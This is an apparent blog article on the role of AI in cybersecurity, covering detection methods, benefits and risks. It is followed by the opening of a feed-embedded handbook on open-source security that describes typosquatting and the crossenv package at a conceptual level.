<p>The use of AI in cybersecurity is increasing rapidly, with many companies adopting it as a key tool in their cybersecurity strategy. </p>
<p>According to a report by <strong>MarketsandMarkets</strong>, the global AI in cybersecurity market size is expected to grow from $8.8 billion in 2020 to $38.2 billion by 2026, at a CAGR of 23.3% during the forecast period. </p>
<p>The report also highlights the increasing need for AI in cybersecurity due to the rising number of cyber threats and the shortage of skilled cybersecurity professionals.</p>
<h3 id="heading-heres-what-well-cover-in-this-article">Here's what we'll cover in this article:</h3>
<ol>
<li><a class="post-section-overview" href="#heading-the-traditional-approach-to-cybersecurity-before-ai-was-introduced">The traditional approach to cybersecurity before AI</a></li>
<li><a class="post-section-overview" href="#heading-how-ai-is-different-from-traditional-approaches-to-cybersecurity">How AI is different from traditional approaches</a></li>
<li><a class="post-section-overview" href="#heading-how-ai-is-used-in-cybersecurity">How AI is used in cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-how-ai-is-changing-the-cybersecurity-landscape">How AI is changing the cybersecurity landscape</a></li>
<li><a class="post-section-overview" href="#heading-challenges-associated-with-using-ai-in-cybersecurity">Challenges associated with using AI in cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></li>
</ol>
<h2 id="heading-the-traditional-approach-to-cybersecurity-before-ai-was-introduced">The Traditional Approach to Cybersecurity Before AI Was Introduced</h2>
<p>Before the advent of AI, traditional cybersecurity relied heavily on <strong>signature-based detection systems</strong>. These systems worked by comparing incoming traffic to a database of known threats or malicious code signatures. When a match was found, the system would trigger an alert and take action to block or quarantine the threat.</p>
<p>While this approach was effective against known threats, it was inadequate against new and unknown threats. Cybercriminals could easily bypass signature-based detection systems by modifying the code or creating new variants of malware that were not yet in the database.</p>
<p>Signature-based detection systems could generate a high number of false positives, as legitimate traffic could be flagged as malicious if it happened to share similar characteristics to a known threat. This led to security analysts spending a significant amount of time investigating false positives, which could be a drain on resources.</p>
<p>Traditional cybersecurity also relied on <strong>manual analysis</strong>. Security analysts would manually investigate security alerts and logs, looking for patterns or indicators of a security breach. This process was time-consuming and often relied on the expertise of the security analyst to identify threats.</p>
<p><strong>Rule-based systems</strong> worked by setting up rules or policies that defined acceptable behavior on a network. If traffic violated these rules, it would trigger an alert. While rule-based systems could be effective in certain situations, they were often inflexible and could not adapt to new and emerging threats.</p>
<p>The traditional approach to cybersecurity before AI was introduced was largely reactive, relying on manual analysis, signature-based detection systems, and rule-based systems. This approach was often ineffective against new and unknown threats, and it could generate a high number of false positives, which could be a drain on resources.</p>
<h2 id="heading-how-ai-is-different-from-traditional-approaches-to-cybersecurity">How AI is Different From Traditional Approaches to Cybersecurity</h2>
<p>AI-based solutions in cybersecurity differ from traditional approaches in several ways. </p>
<p>As we just discussed, traditional approaches to cybersecurity relied heavily on signature-based detection systems that were only effective against known threats. This meant that new and unknown threats could go undetected. </p>
<p>In contrast, AI-based solutions use <strong>machine learning algorithms</strong> that can detect and respond to both known and unknown threats in real-time.</p>
<p>Machine learning algorithms are trained using vast amounts of data, including historical threat data and data from the network and endpoints, to identify patterns that are difficult for humans to see. This allows AI-based solutions to identify and respond to threats in real-time, without the need for human intervention. </p>
<p>For example, machine learning algorithms can analyze network traffic patterns to identify anomalous behavior that may indicate a cyberattack, and then alert security personnel or even take automated action to mitigate the threat.</p>
<p>Another way that AI-based solutions differ from traditional approaches is that they are designed to <strong>continuously learn and adapt</strong>. </p>
<p>As new threats emerge, machine learning algorithms can be trained on new data to improve their ability to detect and respond to these threats. This means that AI-based solutions can keep pace with the evolving threat landscape and provide more effective cybersecurity protection over time.</p>
<p>The use of AI in cybersecurity represents a major shift in how organizations approach cybersecurity. AI-based solutions can provide more effective protection against both known and unknown threats – using machine learning algorithms to detect and respond to threats in real-time. This helps organizations to better safeguard their sensitive data and critical systems.</p>
<h2 id="heading-how-ai-is-used-in-cybersecurity">How AI is Used in Cybersecurity</h2>
<p>AI is being used in cybersecurity to detect and respond to cyber threats in real-time. AI algorithms can analyze large amounts of data and detect patterns that are indicative of a cyber threat. </p>
<h3 id="heading-malware-detection">Malware Detection</h3>
<p>Malware is a significant threat to cybersecurity. Traditional antivirus software relies on signature-based detection to identify known malware variants. </p>
<p>Signature-based detection is a technique that compares a file to a database of known malware signatures and detects a match. This technique is only effective against known malware variants, and it can be easily bypassed by malware that has been modified to evade detection.</p>
<p>AI-based solutions use machine learning algorithms to detect and respond to both known and unknown malware threats. Machine learning algorithms can analyze large amounts of data to identify patterns and anomalies that are difficult for humans to detect. By analyzing the behavior of malware, AI can identify new and unknown malware variants that may be missed by traditional antivirus software.</p>
<p>AI-based malware detection solutions can be trained using both labeled and unlabeled data. </p>
<p><strong>Labeled data</strong> refers to data that has been tagged with specific attributes, such as whether a file is malicious or benign. <strong>Unlabeled data</strong>, on the other hand, is not tagged and can be used to train the machine learning algorithms to identify patterns and anomalies in data.</p>
<p>AI-based malware detection solutions can use various techniques to identify malware, such as static analysis and dynamic analysis. </p>
<p><strong>Static analysis</strong> involves analyzing the characteristics of a file, such as its size, structure, and code, to identify patterns and anomalies. <strong>Dynamic analysis</strong> involves analyzing the behavior of a file when it is executed to identify patterns and anomalies.</p>
<p>AI-based solutions provide a more advanced and effective approach to malware detection than traditional antivirus software. They can identify new and unknown malware variants that may be missed by traditional antivirus software.</p>
<h3 id="heading-phishing-detection">Phishing Detection</h3>
<p>Phishing is a prevalent form of cyber-attack that targets individuals and organizations. </p>
<p>Traditional phishing detection approaches typically rely on rules-based filtering or blacklisting to identify and block known phishing emails. These approaches have limitations because they are only effective against known attacks and may miss new or evolving attacks.</p>
<p>AI-based phishing detection solutions use machine learning algorithms to <strong>analyze the content and structure of emails</strong> to identify potential phishing attacks. These algorithms can learn from vast amounts of data to detect patterns and anomalies that indicate a phishing attack.</p>
<p>AI-based solutions can also <strong>analyze the behavior of users</strong> when interacting with emails to identify potential phishing attacks. For example, if a user clicks on a suspicious link or enters personal information in response to a phishing email, AI-based solutions can flag that activity and alert security teams.</p>
<h3 id="heading-security-log-analysis">Security Log Analysis</h3>
<p>Traditional security log analysis relies on rule-based systems that are limited in their ability to identify new and emerging threats.</p>
<p>AI-based security log analysis uses machine learning algorithms that can <strong>analyze large volumes of security log data in real-time</strong>. </p>
<p>AI algorithms can detect patterns and anomalies that may indicate a security breach, even in the absence of a known threat signature. Organizations can then quickly identify and respond to potential security incidents, reducing the risk of data breaches and other security incidents.</p>
<p>AI-based security log analysis can also help organizations <strong>identify potential insider threats</strong>. By analyzing user behavior across multiple systems and applications, AI algorithms can detect anomalous behavior that may indicate insider threats, such as unauthorized access or unusual data transfers. Organizations can then take action to prevent data breaches and other security incidents before they occur.</p>
<p>AI-based security log analysis provides organizations with a powerful tool for identifying potential threats and taking action to mitigate them. </p>
<h3 id="heading-network-security">Network Security</h3>
<p>AI algorithms can be trained to monitor networks for suspicious activity, identify unusual traffic patterns, and detect devices that are not authorized to be on the network.</p>
<p>AI can improve network security through <strong>anomaly detection</strong>. This involves analyzing network traffic to identify patterns that are outside the norm. By analyzing historical traffic data, AI algorithms can learn what is normal for a particular network and identify traffic that is anomalous or suspicious. This can include unusual port usage, unusual protocol usage, or traffic from suspicious IP addresses.</p>
<p>AI can also improve network security by <strong>monitoring devices on the network</strong>. AI algorithms can be trained to detect devices that are not authorized to be on the network and alert security teams to potential threats. </p>
<p>For example, if a new device is detected on the network that has not been authorized by the IT department, the AI system can flag it as a potential security risk. AI can also be used to monitor the behavior of devices on the network, such as unusual patterns of activity, to detect potential threats.</p>
<h3 id="heading-endpoint-security">Endpoint Security</h3>
<p>Endpoints, such as laptops and smartphones, are often targeted by cybercriminals. Traditional antivirus software relies on signature-based detection, which can only detect known malware variants. AI can detect unknown malware variants by analyzing their behavior.</p>
<p>AI-based endpoint security solutions use machine learning algorithms to <strong>analyze endpoint behavior and detect potential threats</strong>. </p>
<p>For example, an AI-based endpoint security solution can scan files for malware and quarantine any suspicious files. It can also monitor endpoint activity and detect unusual behavior that may indicate a security threat. </p>
<p>AI-based endpoint security solutions can also block unauthorized access attempts and prevent attackers from gaining access to sensitive data.</p>
<p>One key advantage of AI-based endpoint security solutions is their <strong>ability to adapt and evolve over time</strong>. As cyber threats evolve and become more sophisticated, AI algorithms can learn from new data and identify new patterns that indicate potential threats. This means that AI-based endpoint security solutions can provide better protection against new and unknown threats than traditional antivirus software.</p>
<p>AI-based endpoint security solutions provide real-time protection. AI algorithms can analyze endpoint behavior in real-time and alert security teams to potential threats. This means that security teams can respond to threats more quickly and prevent them from causing damage.</p>
<h2 id="heading-how-ai-is-changing-the-cybersecurity-landscape">How AI is Changing the Cybersecurity Landscape</h2>
<p>There are many benefits to using AI in cybersecurity. </p>
<h3 id="heading-increased-efficiency">Increased Efficiency</h3>
<p>AI frees up security analysts to focus on more complex and critical tasks, such as incident response and threat hunting, by automating routine tasks</p>
<p>AI enhances efficiency in the <strong>analysis of large volumes of security data</strong>. Security analysts often face the challenge of sifting through extensive logs, alerts, and reports to identify potential threats. AI algorithms can rapidly process and analyze vast amounts of data, detecting patterns and anomalies that may indicate a cyber threat. This helps security teams identify and prioritize potential risks more efficiently.</p>
<p>AI-powered automation also plays a crucial role in tasks like <strong>vulnerability scanning and patch management</strong>. AI can automatically scan systems and networks for vulnerabilities, identifying potential weaknesses that may be exploited by attackers. It can then prioritize and recommend patches or security updates, streamlining the patch management process. </p>
<p>This automation reduces the time and effort required by security analysts to manually identify vulnerabilities and apply patches, allowing them to focus on critical security issues.</p>
<p>AI can contribute to <strong>streamlining incident response processes</strong>. When a security incident occurs, AI algorithms can help assess the severity and impact of the incident by analyzing relevant data. They can provide real-time alerts and recommendations, enabling security teams to respond promptly and effectively. </p>
<p>AI can also assist in automating incident investigation and forensics, accelerating the identification of the root cause and aiding in remediation efforts.</p>
<h3 id="heading-improved-accuracy">Improved Accuracy</h3>
<p>AI algorithms excel at detecting threats that may be challenging for humans to identify, including new and unknown malware variants, as well as subtle patterns in network traffic that indicate a potential cyber threat.</p>
<p>AI demonstrates its accuracy in the <strong>detection of new and emerging malware</strong>. Traditional signature-based antivirus software relies on a database of known malware signatures to identify threats. But this approach is limited to detecting only known malware variants. AI utilizes advanced machine learning algorithms to analyze the behavior of files and programs, allowing it to detect new and unknown malware variants. </p>
<p>AI algorithms can flag suspicious files and applications even if they do not match any known malware signatures by identifying patterns of malicious behavior. This capability provides organizations with enhanced protection against evolving and sophisticated cyber threats.</p>
<p>AI algorithms can analyze network traffic to <strong>identify patterns that indicate a potential cyber threat</strong>. AI can detect anomalies, unusual traffic patterns, or suspicious behaviors that may go unnoticed by human analysts by processing large volumes of network data. </p>
<p>For instance, AI algorithms can identify communication with known malicious IP addresses, detect port scanning activities, or recognize unauthorized data exfiltration attempts. </p>
<p>The accuracy of AI in cybersecurity is further amplified by its <strong>ability to continuously learn and adapt</strong>. Machine learning algorithms can be trained on vast datasets that encompass diverse threat scenarios and behaviors, enabling them to improve their detection capabilities over time. </p>
<p>As AI algorithms learn from new data, they can refine their models and identify emerging threat patterns with increased accuracy. </p>
<p>This adaptive nature of AI allows organizations to stay ahead of evolving cyber threats and significantly enhances the accuracy of their cybersecurity defenses.</p>
<h3 id="heading-reducing-costs">Reducing Costs</h3>
<p>Organizations can achieve cost savings in multiple areas of their cybersecurity operations by leveraging AI-powered automation and improving the accuracy of threat detection.</p>
<p>AI reduces costs through <strong>task automation</strong>. Many routine and repetitive tasks that were traditionally performed by human analysts can now be automated using AI algorithms. This includes activities such as log analysis, routine vulnerability assessments, and patch management. </p>
<p>Organizations can significantly reduce the need for manual intervention, thereby reducing the workload and associated costs of human resources. AI automation allows for faster and more efficient execution of these tasks, resulting in operational efficiency gains and cost savings.</p>
<p>AI's ability to improve the <strong>accuracy of threat detection</strong> also contributes to cost reduction. Traditional security approaches often generate false positives or miss certain types of threats due to limitations in detection mechanisms. This can lead to wasted time and resources investigating false alarms or, worse, missing actual security incidents. </p>
<p>AI algorithms, by leveraging advanced analytics and machine learning, can analyze vast amounts of data and detect patterns that may indicate a cyber threat more accurately. </p>
<p>By reducing false positives and improving detection rates, organizations can streamline their incident response processes, allocate resources more effectively, and avoid unnecessary costs associated with false alarms or undetected breaches.</p>
<p>Another way AI can aid in cost reduction is by <strong>enhancing the efficiency of incident response and reducing the time to remediate security incidents</strong>. AI algorithms can swiftly analyze and correlate data from various sources, enabling faster incident triage and response. </p>
<p>This rapid response time minimizes the potential impact of a security breach and reduces the associated costs, such as financial losses, reputational damage, and regulatory penalties.</p>
<p>AI can also contribute to cost reduction in the realm of <strong>proactive threat intelligence</strong>. AI-powered algorithms can continuously monitor and analyze global threat intelligence feeds, dark web forums, and other relevant sources to identify emerging threats and vulnerabilities. </p>
<p>This allows organizations to proactively address potential risks, prioritize their security efforts, and allocate resources efficiently. This, in turn, results in cost savings associated with incident prevention and mitigation by obtaining timely and actionable threat intelligence.</p>
<h3 id="heading-real-time-threat-detection-and-response">Real-Time Threat Detection and Response</h3>
<p>In the fast-paced and constantly evolving landscape of cyber threats, the ability to detect and respond to attacks in real-time is essential to minimize the potential damage caused by malicious activities.</p>
<p>By processing data from various sources rapidly, AI can <strong>identify suspicious patterns, anomalies, or indicators of compromise</strong> that may signify an ongoing or imminent cyber attack. This real-time analysis allows security teams to gain immediate visibility into potential threats and take prompt action to mitigate risks.</p>
<p>Machine learning algorithms can be trained on historical data, allowing them to recognize known attack patterns and behaviors. As new threats emerge, AI algorithms can dynamically adjust their detection models, ensuring that they stay up-to-date with the evolving threat landscape. </p>
<p>This adaptability enables AI to identify emerging and previously unseen threats in real-time, providing organizations with proactive defense capabilities.</p>
<p>When a potential threat is detected, AI-powered systems can <strong>trigger real-time alerts and notifications</strong> to security teams, enabling them to respond swiftly. These alerts can include detailed information about the nature of the threat, its potential impact, and recommended remediation actions. </p>
<p>AI empowers security teams to make informed decisions and respond effectively to mitigate the risks associated with cyber attacks by providing actionable insights in real-time.</p>
<p>AI can also <strong>automate certain aspects of the response process</strong>, such as isolating affected systems, blocking malicious activities, or initiating incident response workflows. </p>
<p>Organizations can minimize the time between threat detection and response, reducing the window of opportunity for attackers and limiting the potential impact of a security incident by automating these response actions. </p>
<p>Real-time threat detection and response offered by AI is particularly valuable in preventing data breaches, minimizing financial losses, and safeguarding organizational reputation. </p>
<p>By swiftly detecting and neutralizing threats, organizations can minimize the dwell time of attackers within their networks, reducing the likelihood of data exfiltration, system compromise, or unauthorized access. </p>
<p>Real-time response capabilities also enable security teams to contain and eradicate threats before they spread, preventing further damage and disruption.</p>
<h3 id="heading-improved-scalability">Improved Scalability</h3>
<p>Traditional cybersecurity approaches often face challenges when it comes to handling large volumes of data and maintaining efficient operations in complex environments. AI excels in scalability, enabling organizations to effectively analyze massive amounts of data and respond to cyber threats efficiently.</p>
<p>AI algorithms are <strong>designed to process and analyze vast datasets,</strong> including network traffic logs, system logs, user behaviors, and threat intelligence feeds. AI algorithms can identify patterns, anomalies, and indicators of cyber threats within these extensive datasets. </p>
<p>The scalability of AI allows it to handle the increasing volumes of data generated in modern digital ecosystems, including cloud environments, IoT devices, and interconnected networks.</p>
<p>The ability of AI to scale effectively is particularly valuable in dynamic and rapidly evolving cybersecurity landscapes. As the volume and complexity of data continue to grow, traditional approaches may struggle to keep pace. </p>
<p>With AI, organizations can leverage its inherent scalability to process and analyze data in real-time, ensuring that cyber threats are promptly detected and addressed.</p>
<p>One area where scalability is crucial is <strong>threat detection</strong>. AI algorithms can process massive volumes of data from various sources simultaneously, enabling them to detect subtle patterns and indicators of cyber threats that may go unnoticed by traditional systems. </p>
<p>AI can identify sophisticated attack techniques, emerging threats, and zero-day vulnerabilities. This empowers organizations to take proactive measures to counter potential risks by analyzing vast amounts of data rapidly.</p>
<p>AI's scalability extends to <strong>response capabilities</strong>. When a threat is detected, AI-powered systems can generate real-time alerts and initiate response actions across an organization's infrastructure. </p>
<p>The scalability of AI allows for coordinated responses across multiple endpoints, systems, and networks, ensuring that threats are effectively contained and mitigated.</p>
<p>Organizations can achieve <strong>improved operational efficiency</strong> in cybersecurity by harnessing AI's scalability. The ability to analyze large datasets efficiently reduces the time required for threat detection and response. This enables security teams to focus on critical tasks and make informed decisions promptly. </p>
<p>With AI's scalable capabilities, organizations can optimize resource allocation, improve incident response times, and effectively protect their digital assets against evolving cyber threats.</p>
<p>It is important to note that while AI brings enhanced scalability to cybersecurity, <strong>it should be complemented by human expertise</strong>. AI algorithms can process vast amounts of data and identify potential threats, but human analysts play a crucial role in interpreting the results, validating findings, and making informed decisions. </p>
<p>The combination of AI's scalability and human intelligence creates a powerful synergy in cybersecurity operations, enabling organizations to stay ahead of threats and protect their assets effectively.</p>
<h2 id="heading-challenges-associated-with-using-ai-in-cybersecurity">Challenges Associated With Using AI in Cybersecurity</h2>
<p>While there are many benefits to using AI in cybersecurity, there are also potential risks that must be considered.</p>
<h3 id="heading-bias">Bias</h3>
<p>Bias refers to the systematic and unfair favoritism or discrimination in the outcomes produced by an algorithm. In the context of cybersecurity, bias can result in <strong>false positives or false negatives</strong>, leading to flawed decisions, missed threats, or unjust actions.</p>
<p>Bias in AI algorithms stems from the data used to train them. If the training data is biased or unrepresentative, the AI algorithm will learn and perpetuate those biases in its predictions and decisions. </p>
<p>For example, if an AI algorithm is trained on a dataset that predominantly consists of emails from male senders, it may inadvertently flag emails from female senders as spam at a higher rate, assuming a biased association between gender and spam content.</p>
<p>The cybersecurity community can strive towards fairness, transparency, and equity by actively addressing bias in AI algorithms. This involves a collective effort from AI developers, cybersecurity practitioners, regulators, and stakeholders to ensure that AI-driven cybersecurity solutions are unbiased, reliable, and trustworthy.</p>
<p>While AI brings numerous benefits to cybersecurity, the risk of bias should not be overlooked. </p>
<p>To mitigate bias, it is essential to focus on diverse and representative training data, rigorous preprocessing and cleaning techniques, ongoing monitoring and evaluation, explainability and transparency, ethical considerations, and continuous education. </p>
<p>Organizations can develop AI algorithms that enhance cybersecurity without compromising fairness and equality.</p>
<h3 id="heading-malicious-use">Malicious Use</h3>
<p>Attackers can leverage AI technologies to enhance the sophistication and effectiveness of their cyber attacks, posing significant challenges for defensive measures. </p>
<p><strong>AI-Enhanced Phishing Attacks</strong>: Phishing attacks involve the use of deceptive techniques to trick individuals into divulging sensitive information or performing malicious actions. AI can be harnessed by attackers to create highly convincing and personalized phishing emails. </p>
<p>AI can generate content that closely mimics legitimate communications, making it harder for users to discern between genuine and fraudulent messages by employing natural language processing (NLP) and machine learning algorithms. These AI-generated phishing emails may evade traditional email filters and increase the success rate of attacks.</p>
<p><strong>Advanced Evasion Techniques</strong>: AI-powered evasion techniques can enable cybercriminals to circumvent traditional security defenses and remain undetected. Attackers can develop malware that dynamically modifies its behavior to evade AI-based detection systems. </p>
<p>Malware can adapt its characteristics and signatures to bypass existing security controls. This makes it more challenging for security solutions to identify and neutralize these threats by employing generative adversarial networks (GANs) or reinforcement learning.</p>
<p><strong>Automated Attack Tools</strong>: AI can automate various stages of the cyber attack lifecycle, making it easier for attackers to scale their operations and target a larger number of victims. </p>
<p>For instance, AI algorithms can automate the process of reconnaissance, vulnerability scanning, and even exploit selection. Adversaries can efficiently identify vulnerabilities, launch targeted attacks, and exploit weaknesses in security systems by using AI-driven attack tools.</p>
<p><strong>Deepfake Attacks</strong>: Deepfake technology, powered by AI, allows the creation of highly realistic synthetic media, such as images, audio, and videos. This can be exploited by threat actors to deceive individuals or manipulate information. </p>
<p>Deepfake attacks can be used to fabricate compromising or misleading content, impersonate high-profile individuals, or spread disinformation, leading to reputational damage, financial loss, or societal upheaval.</p>
<p><strong>Adversarial Attacks</strong>: Adversarial attacks aim to manipulate or deceive AI systems by exploiting vulnerabilities in their design or input data. Adversaries can generate specifically crafted inputs to fool AI models into making incorrect predictions or decisions. </p>
<p>For example, an attacker could alter certain features of an image, making it indistinguishable to humans but causing an AI-powered security system to misclassify it as benign instead of malicious.</p>
<h4 id="heading-how-to-mitigate-these-risks">How to mitigate these risks</h4>
<p>To mitigate the risks associated with the malicious use of AI in cybersecurity, consider implementing several security measures:</p>
<ul>
<li><strong>Ethical Guidelines and Regulation</strong>: The development and deployment of AI technologies in cybersecurity should adhere to ethical guidelines and industry best practices. Regulatory frameworks can provide oversight and ensure responsible use of AI, mitigating the risks associated with its malicious use.</li>
<li><strong>Human Oversight and Decision-making</strong>: While AI can automate certain cybersecurity tasks, human expertise and judgment remain crucial. Incorporating human oversight in critical decision-making processes can help prevent AI systems from being exploited or making flawed judgments solely based on machine-driven decisions.</li>
<li><strong>Collaboration and Information Sharing</strong>: Effective collaboration among cybersecurity professionals, researchers, and industry stakeholders is vital to stay ahead of evolving AI-driven threats. Sharing knowledge, best<br>practices, and threat intelligence can enable the collective defense against malicious AI-based attacks. Public-private partnerships and information-sharing platforms can facilitate such collaborations and foster a more robust cybersecurity ecosystem.</li>
<li><strong>Responsible Data Governance</strong>: To mitigate bias and ensure fairness in AI algorithms, organizations must adopt responsible data governance practices. This involves ensuring diverse and representative datasets for training AI models, implementing data anonymization techniques to protect user privacy, and regularly auditing and monitoring data sources for potential biases.</li>
<li><strong>AI System Transparency and Explainability</strong>: Enhancing the transparency and explainability of AI systems is crucial to detect and address potential biases or vulnerabilities. Organizations should strive to develop AI models and algorithms that provide clear explanations for their decisions and actions, enabling security analysts to validate the system's outputs and identify any potential malicious manipulation.</li>
<li><strong>Ongoing Research and Innovation</strong>: Continued research and innovation in AI and cybersecurity are vital to stay ahead of emerging threats. Advancements can be made in developing robust AI-driven security solutions, detecting and mitigating AI-driven attacks, and addressing the potential risks associated with malicious AI use by fostering collaboration between academia, industry, and government agencies.</li>
</ul>
<p>Proactive defense strategies, combined with ongoing vigilance, collaboration, and responsible AI development practices, can help ensure the safe and effective utilization of AI technologies to bolster cybersecurity defenses.</p>
<h3 id="heading-security-vulnerabilities">Security Vulnerabilities</h3>
<p>Just like any other software or system, AI-powered security solutions can have vulnerabilities that attackers can exploit for their malicious purposes. These vulnerabilities can enable attackers to bypass or manipulate AI algorithms, compromising the effectiveness of the cybersecurity measures.</p>
<p>To address and mitigate the risks associated with security vulnerabilities in AI systems, organizations should consider the following measures:</p>
<ul>
<li><strong>Regular Security Assessments</strong>: Conduct regular security assessments and penetration testing of AI systems to identify and address potential vulnerabilities. These assessments should simulate real-world attacks and attempt to exploit weaknesses in the AI system's infrastructure, algorithms, or data handling processes.</li>
<li><strong>Secure Development Practices</strong>: Incorporate secure development practices from the early stages of AI system development. This includes adhering to secure coding standards, conducting thorough security assessments, and employing secure development frameworks and tools.</li>
<li><strong>Secure Deployment and Configuration</strong>: Implement secure deployment and configuration practices for AI systems. This includes properly configuring access controls, securely storing sensitive data used by the AI system, and implementing secure communication protocols. Additionally, organizations should regularly update and patch AI systems to address any known security vulnerabilities.</li>
<li><strong>Ongoing Monitoring and Incident Response</strong>: Continuously monitor the AI system for any unusual or suspicious activities that may indicate a security breach. Implement robust logging and monitoring mechanisms to track system behavior, detect anomalies, and respond promptly to any security incidents. Establish an incident response plan to guide the organization's actions in the event of a security breach or vulnerability exploit.</li>
<li><strong>Vendor Evaluation and Security Considerations</strong>: When adopting AI systems from third-party vendors, conduct thorough security evaluations to ensure that the vendor follows secure development practices and has robust security measures in place. Consider security as a crucial criterion when selecting AI solutions, and engage in dialogue with vendors to address any security concerns or questions.</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The increasing use of artificial intelligence (AI) in cybersecurity presents a transformative opportunity to enhance the effectiveness and efficiency of security measures. </p>
<p>AI brings a range of capabilities that can revolutionize the traditional approach to cybersecurity. AI has the potential to significantly strengthen our defense against evolving cyber threats by automating tasks, improving accuracy, and reducing costs.</p>
<p>The adoption of AI in cybersecurity enables organizations to detect and respond to threats in real-time, leveraging machine learning algorithms that can analyze vast amounts of data and identify patterns that are difficult for humans to discern. </p>
<p>This real-time threat detection and response capability is particularly crucial in today's fast-paced cybersecurity landscape, where threats can emerge and evolve rapidly.</p>
<p>AI holds immense potential to revolutionize the field of cybersecurity and organizations can leverage AI effectively to bolster their security posture and stay ahead in the ever-evolving landscape of cybersecurity. But it is crucial to approach AI adoption with a thorough understanding of the associated risks and implement appropriate measures to mitigate them. </p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>. Don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Open Source Software Security Handbook – Best Practices for Securing Your Projects ]]>
                </title>
                <description>
                    <![CDATA[ Christine Peterson coined the term "Open Source software" or OSS in 1998. It refers to software that is freely available for anyone to use, modify, and distribute.  The source code of OSS is openly available and anyone can modify it who has the neces... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/oss-security-best-practices/</link>
                <guid isPermaLink="false">66ba3138439f9163068a1fc7</guid>
                
                    <category>
                        <![CDATA[ DevSecOps ]]>
                    </category>
                
                    <category>
                        <![CDATA[ open source ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Mon, 27 Feb 2023 22:19:21 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/08/OSS-Security-Best-Practices-Handbook-Cover--1-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Christine Peterson coined the term "Open Source software" or OSS in 1998. It refers to software that is freely available for anyone to use, modify, and distribute. </p>
<p>The source code of OSS is openly available and anyone can modify it who has the necessary technical skills. This allows for a community of developers to collaborate and contribute to the development and improvement of the software. </p>
<p>This distinguishes OSS from proprietary or closed source software, where the source code is not readily available. </p>
<p>OSS is often developed and maintained by a community of volunteers, and is typically distributed under a specific open source license that outlines the terms of use and distribution. Examples of OSS include the Linux operating system, the Apache web server, and the Python programming language.</p>
<p>One of the key benefits of OSS is that it gives users more control over the software they use because they can examine the code. </p>
<p>Additionally, it is considered more stable and secure than proprietary software. This is because it follows open standards, which makes it less likely to disappear if its maintainers stop working on it. </p>
<p>OSS also has a community of users and developers who can help identify and resolve any issues. Nevertheless, it comes with its own set of security challenges.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ol>
<li><a class="post-section-overview" href="#heading-open-source-software-attacks">Open Source Software Attacks</a></li>
<li><a class="post-section-overview" href="#heading-software-supply-chain-attacks">Software Supply Chain Attacks</a></li>
<li><a class="post-section-overview" href="#heading-what-is-web-application-security">What is Web Application Security?</a></li>
<li><a class="post-section-overview" href="#heading-the-iceberg-analogy">The "Iceberg" Analogy</a></li>
<li><a class="post-section-overview" href="#heading-github-marketplace">GitHub Marketplace</a></li>
<li><a class="post-section-overview" href="#heading-how-to-use-github-marketplace-to-mitigate-risk-in-your-open-source-project">How to Use GitHub Marketplace to Mitigate Risk in your Open Source Projects</a></li>
<li><a class="post-section-overview" href="#heading-software-composition-analysis">Software Composition Analysis</a> </li>
<li><a class="post-section-overview" href="#heading-what-is-secret-sprawl">What is Secret Sprawl?</a></li>
<li><a class="post-section-overview" href="#heading-static-code-analysis">Static Code Analysis</a></li>
<li><a class="post-section-overview" href="#heading-how-to-get-value-from-chatops">How to Get Value from ChatOps</a></li>
<li><a class="post-section-overview" href="#heading-open-source-software-best-practices">Open Source Software Best Practices</a></li>
<li><a class="post-section-overview" href="#heading-5-tips-for-oss-security">Five Tips for OSS Security</a></li>
<li><a class="post-section-overview" href="#heading-how-to-make-an-impact-in-the-open-source-software-community">How to Make an Impact in the Open Source Software Community</a></li>
<li><a class="post-section-overview" href="#heading-key-takeaways-for-open-source-security-101">Key Takeaways for Open Source Security 101</a></li>
</ol>
<h2 id="heading-open-source-software-attacks">Open Source Software Attacks</h2>
<p>In this section, we'll look at some of the most common attacks against open source software.</p>
<h3 id="heading-typosquatting-attacks">Typosquatting Attacks</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-15.42.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>Typosquatting</strong>, also known as <strong>URL hijacking</strong>, is a form of cyber attack where an attacker registers a domain name that is similar to a well-known website, but with a slight typo. The attacker then creates a fake version of the original website in an attempt to trick users into entering their personal information, such as passwords or credit card numbers.</p>
<p>For example, if a popular website is <a target="_blank" href="http://www.example.com/">www.example.com</a>, a typosquatter may register <a target="_blank" href="http://www.examplle.com/">www.examplle.com</a>, in the hope that users will accidentally type the wrong URL and end up on the fake website. The fake website may look identical to the original, making it difficult for users to realize they have been redirected to a different site.</p>
<p>Typosquatting attacks can also take place in OSS where bad actors push malicious packages to a registry with the hope of tricking users into installing them.</p>
<p>Here is an example with the package <strong>react</strong> with a typo. In that case, you will not install React, but potentially a malicious package that has a completely different end goal.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-15.45.41.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://snyk.io/blog/typosquatting-attacks/">Learn more about typosquatting attacks here</a>.</em></p>
<p>We have seen these types of packages in both the <strong>PyPi</strong> and <strong>npm</strong> registries with the most noteworthy of them being <strong>crossenv</strong>.</p>
<p>The package <strong>crossenv</strong> took the similar name of the popular package <strong>cross-env</strong> and had wrapped the same functionality except it also captured environment variables and sent them to an attacker controlled remote server.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-13.17.27.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://snyk.io/advisor/npm-package/crossenv">Read more about crossenv here</a>.</em></p>
<p>Typosquatting can have serious consequences, including identity theft, financial fraud, and the spread of malware. </p>
